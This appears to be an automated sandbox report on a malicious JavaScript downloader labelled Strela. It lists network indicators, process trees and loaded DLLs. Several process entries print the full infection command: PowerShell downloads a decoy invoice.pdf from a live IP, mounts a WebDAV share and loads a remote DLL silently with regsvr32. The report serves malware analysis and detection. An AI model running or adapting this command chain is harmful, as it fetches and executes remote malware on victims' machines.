3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: global traffic

TCP traffic: 192.168.2.7:49700 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.7:51046 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1256761554.00000233D9C4A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1255571845.00000233DB9BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.1319098296.00000171C7E28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000002.1319098296.00000171C7E5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/)/
Source: net.exe, 0000000D.00000002.1319098296.00000171C7E5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/i.
Source: net.exe, 0000000D.00000002.1319098296.00000171C7E28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sm
Source: svchost.exe, 00000010.00000002.2547528154.000001F6F3000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.15.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.16.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.15.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.16.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000010.00000003.1315995857.000001F6F2E00000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.16.dr, edb.log.16.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.16.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6468, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 160370701202011504.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/62@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6660:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vhjgmmfq.vrw.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\160370701202011504.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1768,i,2178742765760975374,8707216640143188613,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1768,i,2178742765760975374,8707216640143188613,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
